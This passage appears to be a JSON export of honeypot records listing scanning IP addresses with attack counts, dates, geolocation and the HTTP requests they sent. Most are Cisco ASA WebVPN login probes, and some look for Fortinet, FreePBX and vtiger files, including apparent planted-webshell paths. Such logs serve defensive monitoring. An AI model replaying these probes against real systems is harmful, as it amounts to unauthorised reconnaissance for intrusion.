    "172.120.50.125": {
      "attack_count": 21,
      "first_seen": "2026-05-26T11:09:35.841Z",
      "last_seen": "2026-05-30T15:31:24.585Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.156.46.164": {
      "attack_count": 21,
      "first_seen": "2026-05-22T17:14:56.233Z",
      "last_seen": "2026-05-26T19:24:41.437Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.83.194": {
      "attack_count": 21,
      "first_seen": "2026-05-08T19:33:28.301Z",
      "last_seen": "2026-05-30T03:35:01.011Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.80": {
      "attack_count": 21,
      "first_seen": "2026-05-04T11:42:47.944Z",
      "last_seen": "2026-05-27T23:31:35.742Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.166.222": {
      "attack_count": 18,
      "first_seen": "2026-05-04T14:41:46.793Z",
      "last_seen": "2026-05-25T22:48:46.281Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.37": {
      "attack_count": 18,
      "first_seen": "2026-05-08T16:54:01.951Z",
      "last_seen": "2026-05-31T03:14:17.642Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.217": {
      "attack_count": 18,
      "first_seen": "2026-05-09T04:41:27.139Z",
      "last_seen": "2026-05-29T23:11:12.339Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.253.81": {
      "attack_count": 18,
      "first_seen": "2026-05-04T22:49:38.706Z",
      "last_seen": "2026-05-30T13:33:28.604Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.104.207": {
      "attack_count": 18,
      "first_seen": "2026-05-03T12:52:27.935Z",
      "last_seen": "2026-05-26T07:41:26.786Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.105.86": {
      "attack_count": 18,
      "first_seen": "2026-05-11T13:50:58.310Z",
      "last_seen": "2026-05-28T01:27:28.654Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.81.231.195": {
      "attack_count": 15,
      "first_seen": "2026-05-10T10:57:26.610Z",
      "last_seen": "2026-05-26T02:19:50.712Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "65.49.1.66": {
      "attack_count": 15,
      "first_seen": "2026-05-24T02:54:21.144Z",
      "last_seen": "2026-05-24T03:01:30.702Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "160.119.76.4": {
      "attack_count": 14,
      "first_seen": "2026-05-17T00:46:01.678Z",
      "last_seen": "2026-05-20T14:50:42.699Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET //admin/config.php HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V."
    },
    "172.120.177.58": {
      "attack_count": 14,
      "first_seen": "2026-05-29T17:24:24.652Z",
      "last_seen": "2026-05-29T22:54:35.389Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.21.72": {
      "attack_count": 14,
      "first_seen": "2026-05-27T11:47:42.637Z",
      "last_seen": "2026-05-31T02:00:23.940Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.71.201": {
      "attack_count": 14,
      "first_seen": "2026-05-29T10:22:29.090Z",
      "last_seen": "2026-05-31T01:17:12.120Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.243.150.192": {
      "attack_count": 14,
      "first_seen": "2026-05-27T21:02:16.003Z",
      "last_seen": "2026-05-27T22:30:30.895Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "31.222.242.125": {
      "attack_count": 14,
      "first_seen": "2026-05-26T14:56:40.111Z",
      "last_seen": "2026-05-26T17:13:31.698Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Londonderry",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "94.103.179.79": {
      "attack_count": 14,
      "first_seen": "2026-05-29T04:25:30.842Z",
      "last_seen": "2026-05-29T14:51:45.171Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "East Hartland",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "104.36.50.48": {
      "attack_count": 12,
      "first_seen": "2026-05-08T00:59:23.387Z",
      "last_seen": "2026-05-25T09:13:59.973Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.168.225": {
      "attack_count": 12,
      "first_seen": "2026-05-17T06:12:21.490Z",
      "last_seen": "2026-05-27T18:53:48.899Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.172.101": {
      "attack_count": 12,
      "first_seen": "2026-05-19T04:22:16.032Z",
      "last_seen": "2026-05-25T22:57:39.443Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.187.97": {
      "attack_count": 12,
      "first_seen": "2026-05-05T22:50:41.722Z",
      "last_seen": "2026-05-22T10:11:14.603Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "142.147.89.234": {
      "attack_count": 9,
      "first_seen": "2026-05-08T18:55:58.546Z",
      "last_seen": "2026-05-30T09:31:51.956Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "155.2.191.86": {
      "attack_count": 9,
      "first_seen": "2026-05-17T05:08:03.831Z",
      "last_seen": "2026-05-19T05:29:35.449Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.168.216.207": {
      "attack_count": 9,
      "first_seen": "2026-05-13T01:30:14.141Z",
      "last_seen": "2026-05-20T08:25:31.432Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.95.195": {
      "attack_count": 9,
      "first_seen": "2026-05-21T00:26:56.819Z",
      "last_seen": "2026-05-30T08:10:27.108Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.136": {
      "attack_count": 9,
      "first_seen": "2026-05-02T02:27:03.071Z",
      "last_seen": "2026-05-25T11:09:41.728Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.210.8": {
      "attack_count": 9,
      "first_seen": "2026-05-11T12:32:33.309Z",
      "last_seen": "2026-05-26T15:48:41.291Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "43.225.189.133": {
      "attack_count": 9,
      "first_seen": "2026-05-17T03:26:09.734Z",
      "last_seen": "2026-05-29T01:47:41.208Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boston",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "172.120.194.109": {
      "attack_count": 8,
      "first_seen": "2026-05-29T15:24:03.110Z",
      "last_seen": "2026-05-29T15:24:29.047Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "192.42.116.116": {
      "attack_count": 8,
      "first_seen": "2026-05-24T01:21:10.596Z",
      "last_seen": "2026-05-24T01:23:59.525Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/m7mood/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php.1?2w HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php.1?5a HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php.2?2s HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?22 HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?3q HTTP/1.1\" 404 -",
        "\"GET /recordings/main.php?x3 HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/k4ijo.php?p=sakywshaky1986 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "130.49.85.93": {
      "attack_count": 7,
      "first_seen": "2026-05-27T16:30:55.134Z",
      "last_seen": "2026-05-27T16:31:08.046Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "DuPont",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "141.133.124.243": {
      "attack_count": 7,
      "first_seen": "2026-05-30T11:16:55.057Z",
      "last_seen": "2026-05-30T11:17:09.617Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cabazon",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.246.179": {
      "attack_count": 7,
      "first_seen": "2026-05-26T08:27:57.299Z",
      "last_seen": "2026-05-26T08:28:10.559Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "153.80.84.55": {
      "attack_count": 7,
      "first_seen": "2026-05-26T13:23:21.858Z",
      "last_seen": "2026-05-26T13:23:33.279Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Nettleton",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "172.120.169.36": {
      "attack_count": 7,
      "first_seen": "2026-05-30T12:27:05.697Z",
      "last_seen": "2026-05-30T12:27:22.450Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.48.251": {
      "attack_count": 7,
      "first_seen": "2026-05-29T15:15:58.470Z",
      "last_seen": "2026-05-29T15:16:12.694Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.121.67.190": {
      "attack_count": 7,
      "first_seen": "2026-05-29T19:50:26.489Z",
      "last_seen": "2026-05-29T19:50:42.459Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "45.192.47.54": {
      "attack_count": 7,
      "first_seen": "2026-05-26T03:21:10.713Z",
      "last_seen": "2026-05-26T03:21:23.289Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.252.188.102": {
      "attack_count": 7,
      "first_seen": "2026-05-29T11:23:30.993Z",
      "last_seen": "2026-05-29T11:23:41.249Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "77.83.5.207": {
      "attack_count": 7,
      "first_seen": "2026-05-29T17:10:33.274Z",
      "last_seen": "2026-05-29T17:10:45.753Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.172.198": {
      "attack_count": 6,
      "first_seen": "2026-05-09T08:04:58.636Z",
      "last_seen": "2026-05-26T00:49:59.335Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "192.42.116.142": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:28:41.453Z",
      "last_seen": "2026-05-24T01:28:49.174Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/modules/ucp/htdocs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/themes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/views/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /asteriskWS/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /bin/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /cisco/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.107.200": {
      "attack_count": 6,
      "first_seen": "2026-05-05T09:49:36.739Z",
      "last_seen": "2026-05-05T10:07:30.644Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.192": {
      "attack_count": 6,
      "first_seen": "2026-05-05T05:06:16.118Z",
      "last_seen": "2026-05-07T12:58:43.828Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.141": {
      "attack_count": 6,
      "first_seen": "2026-05-04T05:52:32.571Z",
      "last_seen": "2026-05-04T05:53:22.892Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.186.181": {
      "attack_count": 6,
      "first_seen": "2026-05-16T04:47:15.630Z",
      "last_seen": "2026-05-16T04:48:20.756Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.224.87": {
      "attack_count": 6,
